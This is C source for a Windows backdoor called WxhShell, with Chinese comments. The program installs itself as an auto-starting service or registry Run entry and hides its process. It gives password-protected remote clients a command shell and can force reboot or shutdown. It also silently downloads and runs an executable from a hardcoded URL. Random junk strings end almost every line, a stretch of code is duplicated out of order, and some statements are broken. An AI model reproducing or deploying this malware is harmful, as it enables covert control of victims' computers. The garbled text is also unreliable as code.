    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +PKd </*]  
    if(Boot(SHUTDOWN)) "43F.!P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); my%MXTm2  
    else { . pyNET  
    closesocket(wsh); W7"UhM  
    ExitThread(0); )_SpY\J  
    } k[{ ~ eN:  
    break; {fS~G2@1  
    } K#xL-   
  // 获取shell '>[Ut@lT;  
  case 's': { >Xw0i\G  
    CmdShell(wsh); [Z;ei1l  
    closesocket(wsh); O9_SVXWVw  
    ExitThread(0); q@vqhE4  
    break; jR>`Xz  
  } -.l.@  
  // 退出 f-Zi!AGh>  
  case 'x': { h}4yz96WD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |G/W S0  
    CloseIt(wsh); 2ae"Sd!-2  
    break; 8T88  
    } -lm)xpp1  
  // 离开 hRZYvZ3  
  case 'q': { lESv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^o4](l  
    closesocket(wsh); 8yk4#CZ  
    WSACleanup(); L5r02VzbD  
    exit(1); H:cAORLB  
    break; %a']TX  
        } `\J,%J  
  } P~s u]+  
  } D.gD4g_O/  
yX/{eX5dr  
  // 提示信息 ]Hg6Mz>Mj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t8M\  
} *auT_*  
  } (#8B  
2d&]V]:R*  
  return; fNz(z\  
} -^q;e]+J  
7M Qh,J!"  
// shell模块句柄 &z@}9U*6b  
int CmdShell(SOCKET sock) f4$sH/ 2#v  
{ R5&<\RI0  
STARTUPINFO si; D~n-;T  
ZeroMemory(&si,sizeof(si)); d .%2QkL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N9 h|_ax  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]A%~bQ7  
PROCESS_INFORMATION ProcessInfo; D7=Irz!O\7  
char cmdline[]="cmd"; !6,rN_a@Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O_L>We@3E  
  return 0; zI4d|P  
} 9 !$&1|,*  
Up0kTL  
// 自身启动模式 i6<uj  
int StartFromService(void) '}IGV`c  
{ YdyTt5-  
typedef struct WtO@Kf:3GH  
{ _|T{2LvwT  
  DWORD ExitStatus; \i+Ad@)  
  DWORD PebBaseAddress; #x`K4f)  
  DWORD AffinityMask; |AS~sjWSJ  
  DWORD BasePriority; Vh>|F}%E  
  ULONG UniqueProcessId; uU%Z%O  
  ULONG InheritedFromUniqueProcessId; *HB 32 =qD  
}   PROCESS_BASIC_INFORMATION; gegM&Xo  
f3S 8~!  
PROCNTQSIP NtQueryInformationProcess; ubRhJ~XB  
EP^qj j@M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cbl>:ev1h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4U~'Oa @p  
xT(0-o*  
  HANDLE             hProcess; yzZzaYv "/  
  PROCESS_BASIC_INFORMATION pbi; ;tQ(l%!  
;YSe:m*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _>ZC;+c?  
  if(NULL == hInst ) return 0; suE8"v!sk  
8 Vf #t!t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n.t5:SW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;M~9Yr=1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kwi+}B!  
UA4c4~$S  
  if (!NtQueryInformationProcess) return 0; ,:2Z6~z{  
|?nYs>K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y=?{TX=6<[  
  if(!hProcess) return 0; ]>1`Fa6_  
h=\1ZQKC)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I L,lXB<  
hQ(^;QcSu  
  CloseHandle(hProcess); $B7c\MR j  
\Zh&[D!2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ay|jq "a  
if(hProcess==NULL) return 0; g rCQ#3K*?  
~`="tzr:  
HMODULE hMod; zliMG=6  
char procName[255]; )Ly ~\*  
unsigned long cbNeeded; V^4v`}Wgx  
 ;u [:J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OQ4Pk/-'  
q%QvBN  
  CloseHandle(hProcess); ||fw!8E  
yYSmmgrX0  
if(strstr(procName,"services")) return 1; // 以服务启动 `e fiX^  
K\xnQeS<W  
  return 0; // 注册表启动 QT zN  
} m.!LL]]  
5D2mZ/  
// 主模块 'J3yJ{  
int StartWxhshell(LPSTR lpCmdLine) !Z |_3  
{ Z6rZAwy  
  SOCKET wsl; d2V\T+=  
BOOL val=TRUE; A+GRTwj  
  int port=0; l0;u$  
  struct sockaddr_in door; ]uF7HX7F  
^/$dSXKF  
  if(wscfg.ws_autoins) Install(); Y652&{>q  
ID`Ot{ y  
port=atoi(lpCmdLine); lJN#_V0qW  
K F_Uu  
if(port<=0) port=wscfg.ws_port; x;`G n_  
B9[vv;lzu  
  WSADATA data; ~cyKPg6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q'a]DJ`  
cMF)2^w}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |d-x2M[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w\ 0vP  
  door.sin_family = AF_INET; 4w'&:k47   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pC0gw2n8 M  
  door.sin_port = htons(port); (n8?+GCa  
)">#bu$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s,f2[6\Y  
closesocket(wsl); ms;zC/  
return 1; "U"fsAc#  
} 0^\H$An*k  
-s!J3DB  
  if(listen(wsl,2) == INVALID_SOCKET) { D\+x/r?-I  
closesocket(wsl); l)o!&]2  
return 1; ] Ok &%-  
} /4OQx0Xmm  
  Wxhshell(wsl); wr:W}Z@pL  
  WSACleanup(); H ?9Bo!  
s8[(   
return 0; ZMZWO$"K1  
("PZ!z1m1  
} JP0a Nu  
P^=B6>e  
// 以NT服务方式启动 0^Vw^]w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,/GFD[SQ  
{ 5Za<]qxr  
DWORD   status = 0; V6](_w!  
  DWORD   specificError = 0xfffffff; :RukW.MR  
lK7:qo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J k`Jv;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kjp~:Bg_(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wJJ|]^0.  
  serviceStatus.dwWin32ExitCode     = 0; p>\[[Md  
  serviceStatus.dwServiceSpecificExitCode = 0; W( sit;O  
  serviceStatus.dwCheckPoint       = 0; E;4B!"Q8  
  serviceStatus.dwWaitHint       = 0; ?Fa$lE4  
"%+||IyW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4[gbRn'  
  if (hServiceStatusHandle==0) return; OmZZTeGg1s  
iG"v  
status = GetLastError(); R[6R)#o  
  if (status!=NO_ERROR) r}e(MT:R'  
{ -6uLww=w4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9<y{:{i  
    serviceStatus.dwCheckPoint       = 0; ME]7e^  
    serviceStatus.dwWaitHint       = 0; ;`c:Law4  
    serviceStatus.dwWin32ExitCode     = status; ROfV Y:,M  
    serviceStatus.dwServiceSpecificExitCode = specificError; .#Z'CZO|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -c1-vGW/  
    return; qGR1$\]  
  } i <gt`UCO  
YU 0pWM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Iurz?dt4w  
  serviceStatus.dwCheckPoint       = 0; 2-qWR<E  
  serviceStatus.dwWaitHint       = 0; W{!5}Sh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J Q*~le*  
} F=5vA v1  
g\/|7:yB]  
// 处理NT服务事件,比如:启动、停止 NX(IX6^y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (zy|>u  
{ R+He6c!?9  
switch(fdwControl) tC$+;_=+F  
{ <_pLmYI  
case SERVICE_CONTROL_STOP: @XL49D12c  
  serviceStatus.dwWin32ExitCode = 0; u81F^72U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {yT<22Fl  
  serviceStatus.dwCheckPoint   = 0; }*%=C!m4R!  
  serviceStatus.dwWaitHint     = 0; >wb*kyO7(#  
  { k5tyOk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); []N&,2O  
  } G@~e :v)  
  return; RT'5i$q[  
case SERVICE_CONTROL_PAUSE: Zn. S65J*u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qFDy)4H)  
  break; #')] ~Xa  
case SERVICE_CONTROL_CONTINUE: [:e>FXV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y6sY?uu  
  break; ASMItT  
case SERVICE_CONTROL_INTERROGATE: w""u]b%:r  
  break; -V@ST9`  
}; ^i WGGnGS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xDekC~ Zq  
} Bqa_l|  
*kF/yN  
// 标准应用程序主函数 i>G:*?a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rk ,64(  
{ d/3&3>/  
\!uf*=d  
// 获取操作系统版本 1yU!rEH  
OsIsNt=GetOsVer(); OEbZs-:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GpO@1 C/  
!f/^1k}SR  
  // 从命令行安装 FU}- .Ki  
  if(strpbrk(lpCmdLine,"iI")) Install(); QJkiu8r  
d@cyQFX  
  // 下载执行文件 3)&rj 7  
if(wscfg.ws_downexe) { p((.(fx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s%> u[-9U  
  WinExec(wscfg.ws_filenam,SW_HIDE); r[kHVT8  
} !{uV-c-5,  
w8>bct3@  
if(!OsIsNt) { 93w$ck},?G  
// 如果时win9x,隐藏进程并且设置为注册表启动 e*Nm[*@UW  
HideProc(); MfLus40;n  
StartWxhshell(lpCmdLine); rSW{1o'  
} C;70,!3  
else _Bn8i(  
  if(StartFromService()) k^k1>F}yx  
  // 以服务方式启动 436SIh  
  StartServiceCtrlDispatcher(DispatchTable); QiRx2Z*\  
else }!s$ / Kn  
  // 普通方式启动 yFFNzw{  
  StartWxhshell(lpCmdLine); +{)V%"{u:  
N;m62N  
return 0; p<@+0Uw2  
} X/Fip 0i  
={190=\9  
P8CIKoKCV  
hE2{m{^A  
=========================================== mn{R>  
Xa>c ]j  
#]}G{ P  
L`^ v"W()  
dwzk+@]8  
V+*1?5w  
" Hpp;dG  
2PSv3?".  
#include <stdio.h> W$" >\A0%  
#include <string.h> !$o9:[B  
#include <windows.h> OW> >6zM  
#include <winsock2.h> iqXsD gkr  
#include <winsvc.h> aO\@5i_r  
#include <urlmon.h> dUceZmAl  
*(*XNd||  
#pragma comment (lib, "Ws2_32.lib") .8|5;!`WB  
#pragma comment (lib, "urlmon.lib") '+S!>Lqb  
zfml^N  
#define MAX_USER   100 // 最大客户端连接数 ?nR$>a`  
#define BUF_SOCK   200 // sock buffer }T=\hM  
#define KEY_BUFF   255 // 输入 buffer ,}Ic($ To  
0R,Y[).U  
#define REBOOT     0   // 重启 Qm?o^%a  
#define SHUTDOWN   1   // 关机 } /Iw]!lK2  
:Sk<0VVd7  
#define DEF_PORT   5000 // 监听端口 3_ =:^Z  
z]i/hU  
#define REG_LEN     16   // 注册表键长度 m%OX< T!  
#define SVC_LEN     80   // NT服务名长度 {+QQ<)l^tJ  
jRjQDK_"ka  
// 从dll定义API a4!6K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V3\} ]5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )jRaQ~Sm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'DH_ihZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kca  Y  
N%?8Bm~dP  
// wxhshell配置信息 Yg`z4 U'6~  
struct WSCFG { iJu$&u  
  int ws_port;         // 监听端口 P$;_YLr  
  char ws_passstr[REG_LEN]; // 口令 vnz}Pr! c  
  int ws_autoins;       // 安装标记, 1=yes 0=no > Gxu8,_;  
  char ws_regname[REG_LEN]; // 注册表键名 @/?$ZX/e[  
  char ws_svcname[REG_LEN]; // 服务名 s8kkf5bu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z*:.maq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SRk-3:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X_I.f6v{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g\,HiKBXd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \3z^/F~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LZ~$=<  
Dr"F5Wbg  
}; gB#$"mq,  
y `w5u.'  
// default Wxhshell configuration z#| tl/aP9  
struct WSCFG wscfg={DEF_PORT, (KG>lTdN  
    "xuhuanlingzhe", O7I|<H/gVE  
    1, F (:] lM|  
    "Wxhshell", 3gmu-t v  
    "Wxhshell", 4,R1}.?BzJ  
            "WxhShell Service", 7Y'.yn  
    "Wrsky Windows CmdShell Service", QGd"Z lQ  
    "Please Input Your Password: ", '^M3g-C[Jg  
  1, !Lj+&D|z  
  "http://www.wrsky.com/wxhshell.exe", YJrZ  
  "Wxhshell.exe" X?.LA7)CK  
    }; ^ )/oDyO  
eTa[~esu.  
// 消息定义模块 ;tLu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {mV,bg,}~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~x}=lKN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [mk!] r  
char *msg_ws_ext="\n\rExit."; 0IjQqI  
char *msg_ws_end="\n\rQuit."; G;pxB,4s5  
char *msg_ws_boot="\n\rReboot..."; $X;fz)u  
char *msg_ws_poff="\n\rShutdown..."; Nb;Yti@Y.  
char *msg_ws_down="\n\rSave to "; 1Q$Z'E}SK@  
BI6o@d;=4  
char *msg_ws_err="\n\rErr!"; ?en%m|}0  
char *msg_ws_ok="\n\rOK!"; MA:8g D  
Z$5@r2d)  
char ExeFile[MAX_PATH]; r&ex<(I{  
int nUser = 0; "%Eyb\V!  
HANDLE handles[MAX_USER]; $ V"7UA22  
int OsIsNt; ojd/%@+u+Y  
u_U51C\rb  
SERVICE_STATUS       serviceStatus; j^Z3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bKH8/*Yk  
F/w!4,'<?5  
// 函数声明 . RNQlh3  
int Install(void); SQbnn"  
int Uninstall(void); ~8EG0F;t  
int DownloadFile(char *sURL, SOCKET wsh); C '}8  
int Boot(int flag); Ey u?T  
void HideProc(void); 52#@.Qa  
int GetOsVer(void); TNV#   
int Wxhshell(SOCKET wsl); Si]8*>}-B  
void TalkWithClient(void *cs); # 1,(I  
int CmdShell(SOCKET sock); a4! AvG  
int StartFromService(void); iwfv t^  
int StartWxhshell(LPSTR lpCmdLine); b-+iL  
e&u HU8k*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %+9Mr ami  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8ESBui3;  
pOip$Z  
// 数据结构和表定义  g=:C/>g  
SERVICE_TABLE_ENTRY DispatchTable[] = `7|v  
{ N|h}'p  
{wscfg.ws_svcname, NTServiceMain}, *(x`cf;k  
{NULL, NULL} l+Tw#2s$  
}; o^},L?  
X Jy]d/  
// 自我安装 _A \c 6#  
int Install(void) PZ;O pp  
{ MqI!i>  
  char svExeFile[MAX_PATH]; {j E}mzi  
  HKEY key; B;':Eaa@  
  strcpy(svExeFile,ExeFile); 4jrY3gyBX  
,.f GZ4  
// 如果是win9x系统,修改注册表设为自启动 cQUmcK/,  
if(!OsIsNt) { ` oYrW0Vm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' 7>V4\"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =2{^qvP  
  RegCloseKey(key); D{/GjFO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P$D1kcCw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?!-2G  
  RegCloseKey(key); C sn"sf  
  return 0; i3>7R'q>  
    } e2%Y8ZJG.  
  } 4>>d "<}C  
} /W/ =OPe  
else { >9|/sH@W  
>+fet ,  
// 如果是NT以上系统,安装为系统服务 ?!~CX`eMZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q=E<y  
if (schSCManager!=0) [>4Ou^=1  
{ 1< ;<?  
  SC_HANDLE schService = CreateService :NO'[iE  
  ( #Gs] u  
  schSCManager, 5"6Y=AuQ6  
  wscfg.ws_svcname, ? S>"yAoe  
  wscfg.ws_svcdisp, %Sfew/"R0  
  SERVICE_ALL_ACCESS, >e"CpbZ'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wgdij11e  
  SERVICE_AUTO_START, m4|9p{E  
  SERVICE_ERROR_NORMAL, A3bE3Fk$  
  svExeFile, zrG&p Z  
  NULL, _Y*]'?g`  
  NULL, }0|,*BkI m  
  NULL, KyNv)=x4c  
  NULL, .QzHHW4&0  
  NULL QVI4<Rxg  
  ); $GYcZN&  
  if (schService!=0) ' Ky5|4  
  { PSNrY e  
  CloseServiceHandle(schService); =\?KC)F*e  
  CloseServiceHandle(schSCManager); BD9W-mF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d?*=<w!A  
  strcat(svExeFile,wscfg.ws_svcname); &aaXw?/zr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ](@Tbm8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %X O97  
  RegCloseKey(key); .T/\5_Bx  
  return 0; soXeHjNl  
    } O!kBp(?]  
  } vWcU+GBZI  
  CloseServiceHandle(schSCManager); TB4|dj-%  
} a&p|>,WS  
} tD.md _E  
diGPTV-?$  
return 1; ub6=^`>h  
} iXMs*G cK  
,l#Ev{  
// 自我卸载 %<DXM`Y  
int Uninstall(void) B3]q*ERAo  
{ NB;8 e>8  
  HKEY key; 6+e@)[l.zc  
dmW0SK   
if(!OsIsNt) { )VID ;l;4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {xp/1? Mo*  
  RegDeleteValue(key,wscfg.ws_regname); vZmM=hW~  
  RegCloseKey(key); (qnzz!s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lzN\~5a}  
  RegDeleteValue(key,wscfg.ws_regname); AF>J8V  
  RegCloseKey(key); *pCT34'--  
  return 0; J84Q|E  
  } 1RZhy_$\.  
} 6SIk?]u  
} VlXUrJ9&  
else { fa;\4#  
%,E\8{I+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VChNDHiH  
if (schSCManager!=0) )"2)r{7:  
{ +ZEj(fd9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <T+)~&g$  
  if (schService!=0) yf*^Y74  
  { h W6og)x  
  if(DeleteService(schService)!=0) { ;z/Z(7<; ;  
  CloseServiceHandle(schService); (PE x<r1   
  CloseServiceHandle(schSCManager); a_P8!pk+5  
  return 0; +*]"Yo~]}  
  } 9`81br+~  
  CloseServiceHandle(schService); UmcPpZ  
  } :[|4Zn  
  CloseServiceHandle(schSCManager); {M96jjiInf  
} /qa{*"2Qo  
} h5e(Avk  
$014/IB  
return 1; /-)\$T1d  
} ) gbns'Z<  
w5w,jD[  
// 从指定url下载文件 OOn{Wp  
int DownloadFile(char *sURL, SOCKET wsh) ABw:SQ6=Q  
{  eme7y  
  HRESULT hr; ZgK[,<2  
char seps[]= "/"; xr}3vJ7  
char *token; =VFi}C/  
char *file; S<H 2e{~  
char myURL[MAX_PATH]; ^pruQp1X  
char myFILE[MAX_PATH]; +sq'\Tbp  
vg[A/$gLM  
strcpy(myURL,sURL); y_boJ  
  token=strtok(myURL,seps);  L_3Ao'SA  
  while(token!=NULL) `>-fU<Q1  
  { \ :To\6\Ri  
    file=token; 82l$]W4  
  token=strtok(NULL,seps); u0 myB/`  
  } <ZO"0oz%  
$`,10uw  
GetCurrentDirectory(MAX_PATH,myFILE); U:"X *  
strcat(myFILE, "\\"); yNCd} 4Ym5  
strcat(myFILE, file); /9T.]H ~  
  send(wsh,myFILE,strlen(myFILE),0); B;x5os  
send(wsh,"...",3,0); n-zAkKM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P/i{_r  
  if(hr==S_OK) hOZ:r =%  
return 0; oGt,^!V1  
else 1T&NU  
return 1; )` ~"o*M  
uH*moVw@5  
} gySCK-(y  
:%G_<VAo!  
// 系统电源模块 o;#:%  
int Boot(int flag) 6S K;1Bp-{  
{ b9nTg  
  HANDLE hToken; OlRtVp1  
  TOKEN_PRIVILEGES tkp; )Fk*'6  
Z~R7 G  
  if(OsIsNt) { 8/W(jVO(-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  FZL"[3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Gak@Z!|  
    tkp.PrivilegeCount = 1; X83,f CCl5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \f~m6j$D_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `CpfQP&^  
if(flag==REBOOT) { |wbXu:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kk.a9uKI}  
  return 0; 7v'aw"~  
} T.bn~Z#f  
else { x[u4>f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hTfq>jIB_  
  return 0; a]H&k$!c  
} ^IQtXae6M  
  } eX`wQoV%  
  else { }2xgm9j<  
if(flag==REBOOT) { n_~u!Ky_P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "w 7{,HP  
  return 0; gXJtk;  
} 2i9FzpC3  
else { v 9k\[E?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _2Zc?*4  
  return 0; \_io:{M  
} ^VI\:<\{  
} g'X{  
'=AqC,\#  
return 1; {CH5`&  
} /1@py~ZX  
osM[Xv  
// win9x进程隐藏模块 {Jbouj?V!  
void HideProc(void) +{~ cX] |  
{ hMCf| e.UY  
#W$6[#7=I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d+45Y,|  
  if ( hKernel != NULL ) g)dKXsy(F  
  { rX(Ol,&oP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^O0trM>h-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @`mr|-Rp@  
    FreeLibrary(hKernel); i[Qq,MmC  
  } / jLb{Ky  
]hMs:$}  
return; xs 1V?0  
} B_DyH C\<  
y3XR:d1cg  
// 获取操作系统版本 }|UTwjquBD  
int GetOsVer(void) &3Y"Zd!  
{ _xsHU`(J#  
  OSVERSIONINFO winfo; 0g8ykGyx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \B4f5 L8k  
  GetVersionEx(&winfo); LbkQuq/d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (N6=+dNY  
  return 1; C>A} e6o  
  else %y)]Q|  
  return 0;  sWyx_  
} ?`= <*{_o  
~%eZQgqA*  
// 客户端句柄模块 c( _R xLJ  
int Wxhshell(SOCKET wsl) y_``-F&Z  
{ @Os0A  
  SOCKET wsh; g es-nG-  
  struct sockaddr_in client; lb{X6_.  
  DWORD myID; 63`5A3rii  
`#*`hH8  
  while(nUser<MAX_USER) "M;[c9  
{ :jAsm[  
  int nSize=sizeof(client); :FUxe kz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Qo/pz2N  
  if(wsh==INVALID_SOCKET) return 1; %0 p9\I  
/&H l62Ak  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vYybQ&E/  
if(handles[nUser]==0) FwE<_hq//  
  closesocket(wsh); v4qpE!W27~  
else e%km}mA  
  nUser++; 5KNa-\  
  } 6W< Ig;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j/8q  
!a4`SjOgu  
  return 0; ')T*cLQ><  
} O]XgA0]  
T |&u?  
// 关闭 socket oj=% < a  
void CloseIt(SOCKET wsh) 2Akh/pb  
{ \WqC^Di  
closesocket(wsh); x"7PnN|~  
nUser--; B?db`/G9  
ExitThread(0); = Rn  
} RDU 'l^  
,V9 r2QY  
// 客户端请求句柄 d(j g "@  
void TalkWithClient(void *cs) #nQboTB@  
{ CHi t{ @9  
\j<aFOT(  
  SOCKET wsh=(SOCKET)cs; TyvUdU  
  char pwd[SVC_LEN]; Z6zLL   
  char cmd[KEY_BUFF]; SBaTbY0  
char chr[1]; nf-6[dg  
int i,j; g,G{%dGsk  
8ly Ng w1  
  while (nUser < MAX_USER) { M96Nt&P`  
RT2&^9-  
if(wscfg.ws_passstr) { V#B'm?aQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J|@O4 g   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I-Q(kWc  
  //ZeroMemory(pwd,KEY_BUFF); N3V4Mpf  
      i=0; "u'dd3!  
  while(i<SVC_LEN) { |fb*<o eT  
u`XZtF<vf  
  // 设置超时 gk}.L E  
  fd_set FdRead; _dc,}C  
  struct timeval TimeOut; 4^*Z[6nt|  
  FD_ZERO(&FdRead); Bw<$fT`  
  FD_SET(wsh,&FdRead); Q>xp 90&.n  
  TimeOut.tv_sec=8; ~iIFe+6  
  TimeOut.tv_usec=0; K#N5S]2yb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]vuxeu[cu,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); djn<Oc`  
t Kjk<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Va4AE)[/*  
  pwd=chr[0]; -j^G4J  
  if(chr[0]==0xd || chr[0]==0xa) { KfSbm?  
  pwd=0; qL$\[(  
  break; iA4VT,  
  } .B! L+M< [  
  i++; j'XND`3  
    } w[uw hd  
k#2b3}(,  
  // 如果是非法用户,关闭 socket `uc`vkVZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t4p-pH'9b  
} "/x/]Qx2  
EkOn Rm_hn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dCWq~[[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IFXnGDG$  
'h> l_A  
while(1) { aw3rTT(  
R_IT${O  
  ZeroMemory(cmd,KEY_BUFF); wh3Wuh?x  
t?p>L*  
      // 自动支持客户端 telnet标准   v){X&HbP  
  j=0; +p-S36K~,7  
  while(j<KEY_BUFF) { yg%T{hyzH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kqCUr|M.P  
  cmd[j]=chr[0]; m.U&O=]5  
  if(chr[0]==0xa || chr[0]==0xd) { V^\b"1X7N  
  cmd[j]=0; c;'7o=rr  
  break; `)H| &!wT  
  } ^.[+)0I  
  j++; oTeQY[%$  
    } WhL"-f  
xQ=L2pX  
  // 下载文件 ,f .#-  
  if(strstr(cmd,"http://")) { kCKCJ }N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ks8xxY  
  if(DownloadFile(cmd,wsh)) F'55BY*!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \qbEC.-K  
  else "; ?^gA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]r1Lr{7^S  
  } HmpV; <t3  
